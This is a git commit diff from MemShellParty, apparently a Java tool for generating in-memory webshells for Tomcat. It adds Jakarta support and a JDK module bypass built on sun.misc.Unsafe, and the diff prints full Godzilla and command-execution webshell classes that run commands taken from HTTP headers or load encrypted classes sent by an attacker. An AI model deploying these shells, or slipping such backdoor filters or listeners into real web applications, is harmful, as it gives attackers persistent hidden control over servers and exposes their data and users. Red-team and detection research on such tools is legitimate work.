mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
feat: support bypassJdkModule and Jakarta
This commit is contained in:
+14
-18
@@ -1,29 +1,21 @@
|
||||
plugins {
|
||||
id "java"
|
||||
id "jacoco"
|
||||
id "io.freefair.lombok" version "8.11"
|
||||
}
|
||||
|
||||
repositories {
|
||||
mavenCentral()
|
||||
}
|
||||
|
||||
group = 'com.reajason.javaweb.memsell'
|
||||
version = '1.0-SNAPSHOT'
|
||||
|
||||
test {
|
||||
dependsOn(":vul-webapp:build")
|
||||
useJUnitPlatform()
|
||||
finalizedBy jacocoTestReport
|
||||
}
|
||||
|
||||
jacocoTestReport {
|
||||
reports {
|
||||
html.required = true
|
||||
csv.required = true
|
||||
}
|
||||
afterEvaluate {
|
||||
classDirectories.setFrom(files(classDirectories.files.collect {
|
||||
fileTree(dir: it, exclude: [
|
||||
'com/reajason/javaweb/memsell/**/godzilla/**',
|
||||
'com/reajason/javaweb/memsell/**/injector/**',
|
||||
'com/reajason/javaweb/memsell/**/command/**',
|
||||
'com/reajason/javaweb/config/**'
|
||||
])
|
||||
}))
|
||||
}
|
||||
}
|
||||
|
||||
dependencies {
|
||||
implementation 'net.bytebuddy:byte-buddy:1.15.1'
|
||||
implementation 'javax.servlet:javax.servlet-api:3.0.1'
|
||||
@@ -49,4 +41,8 @@ dependencies {
|
||||
exclude group: 'org.apache.tomcat', module: 'tomcat-servlet-api'
|
||||
exclude group: 'org.apache.tomcat', module: 'tomcat-jaspic-api'
|
||||
}
|
||||
|
||||
|
||||
testImplementation platform('org.junit:junit-bom:5.11.3')
|
||||
testImplementation 'org.junit.jupiter:junit-jupiter'
|
||||
}
|
||||
@@ -3,6 +3,7 @@ package com.reajason.javaweb;
|
||||
import com.reajason.javaweb.config.*;
|
||||
import com.reajason.javaweb.memsell.packer.JspPacker;
|
||||
import com.reajason.javaweb.memsell.tomcat.TomcatShell;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.nio.file.Files;
|
||||
@@ -16,14 +17,14 @@ public class GeneratorMain {
|
||||
public static void main(String[] args) throws IOException {
|
||||
Server server = Server.TOMCAT;
|
||||
ShellTool shellTool = ShellTool.Godzilla;
|
||||
String shellType = TomcatShell.FILTER;
|
||||
String shellType = TomcatShell.JAKARTA_FILTER;
|
||||
GodzillaShellConfig shellConfig = GodzillaShellConfig.builder()
|
||||
.pass("pass")
|
||||
.key("key")
|
||||
.pass("passFilter")
|
||||
.key("keyFilter")
|
||||
.headerName("User-Agent")
|
||||
.headerValue("test")
|
||||
.build();
|
||||
GenerateResult generateResult = generate(server, shellTool, shellType, shellConfig);
|
||||
GenerateResult generateResult = generate(server, shellTool, shellType, shellConfig, Opcodes.V11);
|
||||
if (generateResult != null) {
|
||||
String shellBytesBase64Str = generateResult.getShellBytesBase64Str();
|
||||
String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
|
||||
@@ -31,6 +32,7 @@ public class GeneratorMain {
|
||||
System.out.println(shellConfig.getShellClassName() + " : " + shellBytesBase64Str);
|
||||
System.out.println(shellConfig.getInjectorClassName() + " : " + injectorBytesBase64Str);
|
||||
System.out.println(shellConfig);
|
||||
Files.write(Paths.get(shellConfig.getShellClassName() + ".class"), generateResult.getShellBytes());
|
||||
JspPacker jspPacker = new JspPacker();
|
||||
String jspContent = new String(jspPacker.pack(generateResult));
|
||||
System.out.println(jspContent);
|
||||
@@ -38,9 +40,13 @@ public class GeneratorMain {
|
||||
}
|
||||
|
||||
public static GenerateResult generate(Server server, ShellTool shellTool, String shellType, ShellConfig shellConfig) {
|
||||
return generate(server, shellTool, shellType, shellConfig, Constants.DEFAULT_VERSION);
|
||||
}
|
||||
|
||||
public static GenerateResult generate(Server server, ShellTool shellTool, String shellType, ShellConfig shellConfig, int targetJdkVersion) {
|
||||
switch (server) {
|
||||
case TOMCAT:
|
||||
return TomcatShell.generate(shellTool, shellType, shellConfig);
|
||||
return TomcatShell.generate(shellTool, shellType, shellConfig, targetJdkVersion);
|
||||
case BES:
|
||||
break;
|
||||
case RESIN:
|
||||
|
||||
@@ -0,0 +1,51 @@
|
||||
package com.reajason.javaweb.buddy;
|
||||
|
||||
import net.bytebuddy.asm.Advice;
|
||||
import net.bytebuddy.asm.AsmVisitorWrapper;
|
||||
import net.bytebuddy.description.modifier.Ownership;
|
||||
import net.bytebuddy.description.modifier.Visibility;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import net.bytebuddy.implementation.FixedValue;
|
||||
import net.bytebuddy.implementation.MethodCall;
|
||||
import net.bytebuddy.implementation.bytecode.assign.Assigner;
|
||||
|
||||
import java.lang.reflect.Field;
|
||||
|
||||
import static net.bytebuddy.matcher.ElementMatchers.isTypeInitializer;
|
||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class ByPassJdkModuleInterceptor {
|
||||
@Advice.OnMethodExit
|
||||
public static void enter(@Advice.Origin Class<?> clazz, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) boolean returnValue) {
|
||||
try {
|
||||
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
|
||||
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
|
||||
unsafeField.setAccessible(true);
|
||||
Object unsafe = unsafeField.get(null);
|
||||
java.lang.reflect.Method getModuleM = Class.class.getMethod("getModule");
|
||||
Object module = getModuleM.invoke(Object.class, (Object[]) null);
|
||||
java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
|
||||
java.lang.reflect.Field moduleF = Class.class.getDeclaredField("module");
|
||||
Long offset = (Long) objectFieldOffsetM.invoke(unsafe, moduleF);
|
||||
java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
|
||||
getAndSetObjectM.invoke(unsafe, clazz, offset, module);
|
||||
returnValue = true;
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
public static DynamicType.Builder<?> extend(DynamicType.Builder<?> builder) {
|
||||
return builder
|
||||
.defineField("isBypassModule", boolean.class, Visibility.PUBLIC, Ownership.STATIC)
|
||||
.invokable(isTypeInitializer())
|
||||
.intercept(MethodCall.invoke(named("byPassJdkModule")))
|
||||
.defineMethod("byPassJdkModule", Object.class, Visibility.PUBLIC, Ownership.STATIC)
|
||||
.intercept(FixedValue.value(false))
|
||||
.visit(new AsmVisitorWrapper.ForDeclaredMethods()
|
||||
.method(named("byPassJdkModule"),
|
||||
Advice.to(ByPassJdkModuleInterceptor.class)));
|
||||
}
|
||||
}
|
||||
+14
-11
@@ -10,32 +10,35 @@ import net.bytebuddy.jar.asm.ClassVisitor;
|
||||
import net.bytebuddy.jar.asm.commons.ClassRemapper;
|
||||
import net.bytebuddy.jar.asm.commons.Remapper;
|
||||
import net.bytebuddy.pool.TypePool;
|
||||
import org.jetbrains.annotations.NotNull;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/23
|
||||
*/
|
||||
public class ServletRenameVisitorWrapper implements AsmVisitorWrapper {
|
||||
public static ServletRenameVisitorWrapper INSTANCE = new ServletRenameVisitorWrapper();
|
||||
|
||||
@Override
|
||||
public int mergeReader(int flags) {
|
||||
return 0;
|
||||
return flags;
|
||||
}
|
||||
|
||||
@Override
|
||||
public int mergeWriter(int flags) {
|
||||
return 0;
|
||||
return flags;
|
||||
}
|
||||
|
||||
@NotNull
|
||||
@Override
|
||||
public ClassVisitor wrap(
|
||||
TypeDescription instrumentedType,
|
||||
ClassVisitor classVisitor,
|
||||
Implementation.Context implementationContext,
|
||||
TypePool typePool,
|
||||
FieldList<FieldDescription.InDefinedShape> fields,
|
||||
MethodList<?> methods,
|
||||
int writerFlags,
|
||||
int readerFlags) {
|
||||
public ClassVisitor wrap(@NotNull TypeDescription instrumentedType,
|
||||
@NotNull ClassVisitor classVisitor,
|
||||
@NotNull Implementation.Context implementationContext,
|
||||
@NotNull TypePool typePool,
|
||||
@NotNull FieldList<FieldDescription.InDefinedShape> fields,
|
||||
@NotNull MethodList<?> methods,
|
||||
int writerFlags,
|
||||
int readerFlags) {
|
||||
return new ClassRemapper(
|
||||
classVisitor,
|
||||
new Remapper() {
|
||||
|
||||
+57
@@ -0,0 +1,57 @@
|
||||
package com.reajason.javaweb.buddy;
|
||||
|
||||
import com.reajason.javaweb.config.Constants;
|
||||
import net.bytebuddy.asm.AsmVisitorWrapper;
|
||||
import net.bytebuddy.description.field.FieldDescription;
|
||||
import net.bytebuddy.description.field.FieldList;
|
||||
import net.bytebuddy.description.method.MethodList;
|
||||
import net.bytebuddy.description.type.TypeDescription;
|
||||
import net.bytebuddy.implementation.Implementation;
|
||||
import net.bytebuddy.jar.asm.ClassVisitor;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import net.bytebuddy.pool.TypePool;
|
||||
import net.bytebuddy.utility.nullability.MaybeNull;
|
||||
import org.jetbrains.annotations.NotNull;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class TargetJDKVersionVisitorWrapper implements AsmVisitorWrapper {
|
||||
|
||||
public static final TargetJDKVersionVisitorWrapper DEFAULT = new TargetJDKVersionVisitorWrapper();
|
||||
|
||||
private final int targetJdkVersion;
|
||||
|
||||
public TargetJDKVersionVisitorWrapper() {
|
||||
targetJdkVersion = Constants.DEFAULT_VERSION;
|
||||
}
|
||||
|
||||
public TargetJDKVersionVisitorWrapper(int targetJdkVersion) {
|
||||
this.targetJdkVersion = targetJdkVersion;
|
||||
}
|
||||
|
||||
@Override
|
||||
public int mergeWriter(int flags) {
|
||||
return flags;
|
||||
}
|
||||
|
||||
@Override
|
||||
public int mergeReader(int flags) {
|
||||
return flags;
|
||||
}
|
||||
|
||||
|
||||
@NotNull
|
||||
@Override
|
||||
public ClassVisitor wrap(@NotNull TypeDescription instrumentedType,
|
||||
@NotNull ClassVisitor classVisitor, @NotNull Implementation.Context implementationContext,
|
||||
@NotNull TypePool typePool, @NotNull FieldList<FieldDescription.InDefinedShape> fields,
|
||||
@NotNull MethodList<?> methods, int writerFlags, int readerFlags) {
|
||||
return new ClassVisitor(Opcodes.ASM9, classVisitor) {
|
||||
@Override
|
||||
public void visit(int version, int modifiers, String name, @MaybeNull String signature, @MaybeNull String superClassName, @MaybeNull String[] interfaceName) {
|
||||
super.visit(targetJdkVersion, modifiers, name, signature, superClassName, interfaceName);
|
||||
}
|
||||
};
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
package com.reajason.javaweb.config;
|
||||
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/28
|
||||
*/
|
||||
public class Constants {
|
||||
public static final int DEFAULT_VERSION = Opcodes.V1_6;
|
||||
}
|
||||
@@ -6,6 +6,7 @@ import lombok.Builder;
|
||||
import lombok.Data;
|
||||
import lombok.NoArgsConstructor;
|
||||
import lombok.experimental.SuperBuilder;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
@@ -22,4 +23,6 @@ public class ShellConfig {
|
||||
private String injectorClassName = CommonUtil.generateInjectorClassName();
|
||||
@Builder.Default
|
||||
private String urlPattern = "/*";
|
||||
}
|
||||
@Builder.Default
|
||||
private int targetJdkVersion = Opcodes.V1_5;
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -1,5 +1,6 @@
|
||||
package com.reajason.javaweb.memsell;
|
||||
|
||||
import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import net.bytebuddy.implementation.FieldAccessor;
|
||||
@@ -19,6 +20,7 @@ public class CommandGenerator {
|
||||
try (DynamicType.Unloaded<?> make = new ByteBuddy()
|
||||
.redefine(commandClass)
|
||||
.name(commandClassName)
|
||||
.visit(TargetJDKVersionVisitorWrapper.DEFAULT)
|
||||
.constructor(ElementMatchers.any())
|
||||
.intercept(fieldSets)
|
||||
.make()) {
|
||||
|
||||
@@ -1,10 +1,15 @@
|
||||
package com.reajason.javaweb.memsell;
|
||||
|
||||
import com.reajason.javaweb.buddy.ByPassJdkModuleInterceptor;
|
||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||
import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper;
|
||||
import com.reajason.javaweb.config.Constants;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import net.bytebuddy.implementation.FieldAccessor;
|
||||
import net.bytebuddy.implementation.Implementation;
|
||||
import net.bytebuddy.implementation.SuperMethodCall;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import net.bytebuddy.matcher.ElementMatchers;
|
||||
import org.apache.commons.codec.digest.DigestUtils;
|
||||
|
||||
@@ -17,6 +22,14 @@ public class GodzillaGenerator {
|
||||
public static byte[] generate(Class<?> godzillaClass, String godzillaClassName,
|
||||
String pass, String key,
|
||||
String headerName, String headerValue) {
|
||||
return generate(godzillaClass, godzillaClassName, pass, key, headerName, headerValue, false, Constants.DEFAULT_VERSION);
|
||||
}
|
||||
|
||||
public static byte[] generate(Class<?> godzillaClass, String godzillaClassName, String pass, String key, String headerName, String headerValue, boolean useJakarta, int targetJdkVersion) {
|
||||
return generate(godzillaClass, godzillaClassName, pass, key, headerName, headerValue, useJakarta, targetJdkVersion, true);
|
||||
}
|
||||
|
||||
public static byte[] generate(Class<?> godzillaClass, String godzillaClassName, String pass, String key, String headerName, String headerValue, boolean useJakarta, int targetJdkVersion, boolean changeClassVersion) {
|
||||
String md5Key = DigestUtils.md5Hex(key).substring(0, 16);
|
||||
String md5 = DigestUtils.md5Hex(pass + md5Key).toUpperCase();
|
||||
Implementation.Composable fieldSets = SuperMethodCall.INSTANCE
|
||||
@@ -25,13 +38,26 @@ public class GodzillaGenerator {
|
||||
.andThen(FieldAccessor.ofField("md5").setsValue(md5))
|
||||
.andThen(FieldAccessor.ofField("headerName").setsValue(headerName))
|
||||
.andThen(FieldAccessor.ofField("headerValue").setsValue(headerValue));
|
||||
try (DynamicType.Unloaded<?> make = new ByteBuddy()
|
||||
.redefine(godzillaClass)
|
||||
.name(godzillaClassName)
|
||||
.constructor(ElementMatchers.any())
|
||||
.intercept(fieldSets)
|
||||
.make()) {
|
||||
|
||||
DynamicType.Builder<?> builder = new ByteBuddy().redefine(godzillaClass)
|
||||
.name(godzillaClassName);
|
||||
|
||||
if (changeClassVersion) {
|
||||
builder = builder.visit(new TargetJDKVersionVisitorWrapper(targetJdkVersion));
|
||||
}
|
||||
|
||||
if (targetJdkVersion >= Opcodes.V9) {
|
||||
builder = ByPassJdkModuleInterceptor.extend(builder);
|
||||
}
|
||||
|
||||
if (useJakarta) {
|
||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
||||
}
|
||||
|
||||
builder = builder.constructor(ElementMatchers.any()).intercept(fieldSets);
|
||||
|
||||
try (DynamicType.Unloaded<?> make = builder.make()) {
|
||||
return make.getBytes();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,10 +1,14 @@
|
||||
package com.reajason.javaweb.memsell;
|
||||
|
||||
import com.reajason.javaweb.buddy.ByPassJdkModuleInterceptor;
|
||||
import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper;
|
||||
import com.reajason.javaweb.config.Constants;
|
||||
import com.reajason.javaweb.util.CommonUtil;
|
||||
import lombok.SneakyThrows;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import net.bytebuddy.implementation.FixedValue;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
|
||||
import java.util.Objects;
|
||||
@@ -19,14 +23,24 @@ public class InjectorGenerator {
|
||||
|
||||
@SneakyThrows
|
||||
public static byte[] generate(Class<?> injectClass, String injectClassName, String shellClassName, byte[] shellBytes, String urlPattern) {
|
||||
return generate(injectClass, injectClassName, shellClassName, shellBytes, urlPattern, Constants.DEFAULT_VERSION);
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
public static byte[] generate(Class<?> injectClass, String injectClassName, String shellClassName, byte[] shellBytes, String urlPattern, int targetJdkVersion) {
|
||||
String base64String = Base64.encodeBase64String(CommonUtil.gzipCompress(shellBytes)).replace(System.lineSeparator(), "");;
|
||||
try (DynamicType.Unloaded<?> make = new ByteBuddy()
|
||||
DynamicType.Builder<?> builder = new ByteBuddy()
|
||||
.redefine(injectClass)
|
||||
.name(injectClassName)
|
||||
.visit(new TargetJDKVersionVisitorWrapper(targetJdkVersion))
|
||||
.method(named("getUrlPattern")).intercept(FixedValue.value(Objects.toString(urlPattern, "")))
|
||||
.method(named("getBase64String")).intercept(FixedValue.value(base64String))
|
||||
.method(named("getClassName")).intercept(FixedValue.value(shellClassName))
|
||||
.make()) {
|
||||
.method(named("getClassName")).intercept(FixedValue.value(shellClassName));
|
||||
if (targetJdkVersion >= Opcodes.V9) {
|
||||
builder = ByPassJdkModuleInterceptor.extend(builder);
|
||||
}
|
||||
|
||||
try (DynamicType.Unloaded<?> make = builder.make()) {
|
||||
return make.getBytes();
|
||||
}
|
||||
}
|
||||
|
||||
@@ -4,8 +4,12 @@ import com.reajason.javaweb.config.*;
|
||||
import com.reajason.javaweb.memsell.CommandGenerator;
|
||||
import com.reajason.javaweb.memsell.GodzillaGenerator;
|
||||
import com.reajason.javaweb.memsell.InjectorGenerator;
|
||||
import com.reajason.javaweb.memsell.tomcat.command.*;
|
||||
import com.reajason.javaweb.memsell.tomcat.godzilla.*;
|
||||
import com.reajason.javaweb.memsell.tomcat.command.CommandFilter;
|
||||
import com.reajason.javaweb.memsell.tomcat.command.CommandListener;
|
||||
import com.reajason.javaweb.memsell.tomcat.command.CommandValve;
|
||||
import com.reajason.javaweb.memsell.tomcat.godzilla.GodzillaFilter;
|
||||
import com.reajason.javaweb.memsell.tomcat.godzilla.GodzillaListener;
|
||||
import com.reajason.javaweb.memsell.tomcat.godzilla.GodzillaValve;
|
||||
import com.reajason.javaweb.memsell.tomcat.injector.TomcatFilterInjector;
|
||||
import com.reajason.javaweb.memsell.tomcat.injector.TomcatListenerInjector;
|
||||
import com.reajason.javaweb.memsell.tomcat.injector.TomcatValveInjector;
|
||||
@@ -20,6 +24,7 @@ import java.util.Map;
|
||||
* @since 2024/11/22
|
||||
*/
|
||||
public class TomcatShell {
|
||||
public static final String JAKARTA = "Jakarta";
|
||||
public static final String SERVLET = "Servlet";
|
||||
public static final String JAKARTA_SERVLET = "JakartaServlet";
|
||||
public static final String FILTER = "Filter";
|
||||
@@ -28,6 +33,7 @@ public class TomcatShell {
|
||||
public static final String JAKARTA_LISTENER = "JakartaListener";
|
||||
public static final String WEBSOCKET = "Websocket";
|
||||
public static final String VALVE = "Valve";
|
||||
public static final String JAKARTA_VALVE = "JakartaValve";
|
||||
public static final String UPGRADE = "Upgrade";
|
||||
public static final String EXECUTOR = "Executor";
|
||||
|
||||
@@ -36,12 +42,15 @@ public class TomcatShell {
|
||||
*/
|
||||
public static final Map<String, Pair<Class<?>, Class<?>>> GODZILLA_SHELL_MAP = new HashMap<>();
|
||||
|
||||
|
||||
static {
|
||||
GODZILLA_SHELL_MAP.put(FILTER, Pair.of(GodzillaFilter.class, TomcatFilterInjector.class));
|
||||
GODZILLA_SHELL_MAP.put(JAKARTA_FILTER, Pair.of(GodzillaJakartaFilter.class, TomcatFilterInjector.class));
|
||||
GODZILLA_SHELL_MAP.put(JAKARTA_FILTER, Pair.of(GodzillaFilter.class, TomcatFilterInjector.class));
|
||||
GODZILLA_SHELL_MAP.put(LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class));
|
||||
GODZILLA_SHELL_MAP.put(JAKARTA_LISTENER, Pair.of(GodzillaJakartaListener.class, TomcatListenerInjector.class));
|
||||
GODZILLA_SHELL_MAP.put(JAKARTA_LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class));
|
||||
GODZILLA_SHELL_MAP.put(VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class));
|
||||
// tomcat 无法同时引入两个版本的包
|
||||
GODZILLA_SHELL_MAP.put(JAKARTA_VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class));
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -51,19 +60,20 @@ public class TomcatShell {
|
||||
|
||||
static {
|
||||
COMMAND_SHELL_MAP.put(FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class));
|
||||
COMMAND_SHELL_MAP.put(JAKARTA_FILTER, Pair.of(CommandJakartaFilter.class, TomcatFilterInjector.class));
|
||||
COMMAND_SHELL_MAP.put(JAKARTA_FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class));
|
||||
COMMAND_SHELL_MAP.put(LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class));
|
||||
COMMAND_SHELL_MAP.put(JAKARTA_LISTENER, Pair.of(CommandJakartaListener.class, TomcatListenerInjector.class));
|
||||
COMMAND_SHELL_MAP.put(JAKARTA_LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class));
|
||||
COMMAND_SHELL_MAP.put(VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class));
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
public static GenerateResult generate(ShellTool shellTool, String shellType, ShellConfig shellConfig) {
|
||||
public static GenerateResult generate(ShellTool shellTool, String shellType, ShellConfig shellConfig, int targetJdkVersion) {
|
||||
if (shellTool == null || shellType == null || shellConfig == null) {
|
||||
throw new IllegalArgumentException("Invalid arguments: shellTool, shellType, and shellConfig cannot be null.");
|
||||
}
|
||||
Pair<Class<?>, Class<?>> classPair;
|
||||
byte[] shellBytes;
|
||||
boolean useJakarta = shellType.startsWith(JAKARTA);
|
||||
switch (shellTool) {
|
||||
case Godzilla: {
|
||||
classPair = GODZILLA_SHELL_MAP.get(shellType);
|
||||
@@ -73,7 +83,10 @@ public class TomcatShell {
|
||||
godzillaConfig.getPass(),
|
||||
godzillaConfig.getKey(),
|
||||
godzillaConfig.getHeaderName(),
|
||||
godzillaConfig.getHeaderValue());
|
||||
godzillaConfig.getHeaderValue(),
|
||||
useJakarta,
|
||||
targetJdkVersion
|
||||
);
|
||||
break;
|
||||
}
|
||||
case CMD: {
|
||||
@@ -93,7 +106,8 @@ public class TomcatShell {
|
||||
shellConfig.getInjectorClassName(),
|
||||
shellConfig.getShellClassName(),
|
||||
shellBytes,
|
||||
shellConfig.getUrlPattern());
|
||||
shellConfig.getUrlPattern(),
|
||||
targetJdkVersion);
|
||||
|
||||
return GenerateResult.builder()
|
||||
.shellClassName(shellConfig.getShellClassName())
|
||||
|
||||
+1
-1
@@ -45,4 +45,4 @@ public class CommandFilter implements Filter {
|
||||
public void destroy() {
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
-40
@@ -1,40 +0,0 @@
|
||||
package com.reajason.javaweb.memsell.tomcat.command;
|
||||
|
||||
import jakarta.servlet.*;
|
||||
import jakarta.servlet.http.HttpServletRequest;
|
||||
import jakarta.servlet.http.HttpServletResponse;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/24
|
||||
*/
|
||||
public class CommandJakartaFilter implements Filter {
|
||||
public String headerName;
|
||||
|
||||
@Override
|
||||
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
|
||||
HttpServletRequest servletRequest = (HttpServletRequest) request;
|
||||
HttpServletResponse servletResponse = (HttpServletResponse) response;
|
||||
String cmd = servletRequest.getHeader(headerName);
|
||||
try {
|
||||
if (cmd != null) {
|
||||
Process exec = Runtime.getRuntime().exec(cmd);
|
||||
InputStream inputStream = exec.getInputStream();
|
||||
ServletOutputStream outputStream = servletResponse.getOutputStream();
|
||||
byte[] buf = new byte[8192];
|
||||
int length;
|
||||
while ((length = inputStream.read(buf)) != -1) {
|
||||
outputStream.write(buf, 0, length);
|
||||
}
|
||||
} else {
|
||||
chain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
chain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
-70
@@ -1,70 +0,0 @@
|
||||
package com.reajason.javaweb.memsell.tomcat.command;
|
||||
|
||||
import jakarta.servlet.ServletOutputStream;
|
||||
import jakarta.servlet.ServletRequestEvent;
|
||||
import jakarta.servlet.ServletRequestListener;
|
||||
import jakarta.servlet.http.HttpServletRequest;
|
||||
import jakarta.servlet.http.HttpServletResponse;
|
||||
|
||||
import java.io.InputStream;
|
||||
import java.lang.reflect.Field;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class CommandJakartaListener implements ServletRequestListener {
|
||||
public String headerName;
|
||||
|
||||
public CommandJakartaListener() {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
|
||||
try {
|
||||
String cmd = request.getHeader(headerName);
|
||||
if (cmd != null) {
|
||||
HttpServletResponse servletResponse = this.getResponseFromRequest(request);
|
||||
Process exec = Runtime.getRuntime().exec(cmd);
|
||||
InputStream inputStream = exec.getInputStream();
|
||||
ServletOutputStream outputStream = servletResponse.getOutputStream();
|
||||
byte[] buf = new byte[8192];
|
||||
int length;
|
||||
while ((length = inputStream.read(buf)) != -1) {
|
||||
outputStream.write(buf, 0, length);
|
||||
}
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
|
||||
HttpServletResponse response = null;
|
||||
try {
|
||||
response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response");
|
||||
} catch (Exception e) {
|
||||
response = (HttpServletResponse) getFieldValue(request, "response");
|
||||
}
|
||||
return response;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static synchronized Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Field field = null;
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
field = clazz.getDeclaredField(name);
|
||||
break;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (field == null) {
|
||||
throw new NoSuchFieldException(name);
|
||||
} else {
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
}
|
||||
}
|
||||
-120
@@ -1,120 +0,0 @@
|
||||
package com.reajason.javaweb.memsell.tomcat.godzilla;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
import jakarta.servlet.*;
|
||||
import jakarta.servlet.http.HttpServletRequest;
|
||||
import jakarta.servlet.http.HttpServletResponse;
|
||||
import jakarta.servlet.http.HttpSession;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class GodzillaJakartaFilter extends ClassLoader implements Filter {
|
||||
public String key;
|
||||
public String pass;
|
||||
public String md5;
|
||||
public String headerName;
|
||||
public String headerValue;
|
||||
|
||||
public GodzillaJakartaFilter() {
|
||||
}
|
||||
|
||||
public GodzillaJakartaFilter(ClassLoader z) {
|
||||
super(z);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> Q(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
public byte[] x(byte[] s, boolean m) {
|
||||
try {
|
||||
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
|
||||
return c.doFinal(s);
|
||||
} catch (Exception var4) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequest;
|
||||
HttpServletResponse response = (HttpServletResponse) servletResponse;
|
||||
try {
|
||||
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||
HttpSession session = request.getSession();
|
||||
byte[] data = base64Decode(request.getParameter(pass));
|
||||
data = this.x(data, false);
|
||||
if (session.getAttribute("payload") == null) {
|
||||
session.setAttribute("payload", (new GodzillaJakartaFilter(this.getClass().getClassLoader())).Q(data));
|
||||
} else {
|
||||
request.setAttribute("parameters", data);
|
||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||
Object f;
|
||||
try {
|
||||
f = ((Class<?>) session.getAttribute("payload")).newInstance();
|
||||
} catch (InstantiationException | IllegalAccessException e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
f.equals(arrOut);
|
||||
f.equals(request);
|
||||
response.getWriter().write(md5.substring(0, 16));
|
||||
f.toString();
|
||||
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||
response.getWriter().write(md5.substring(16));
|
||||
}
|
||||
|
||||
} else {
|
||||
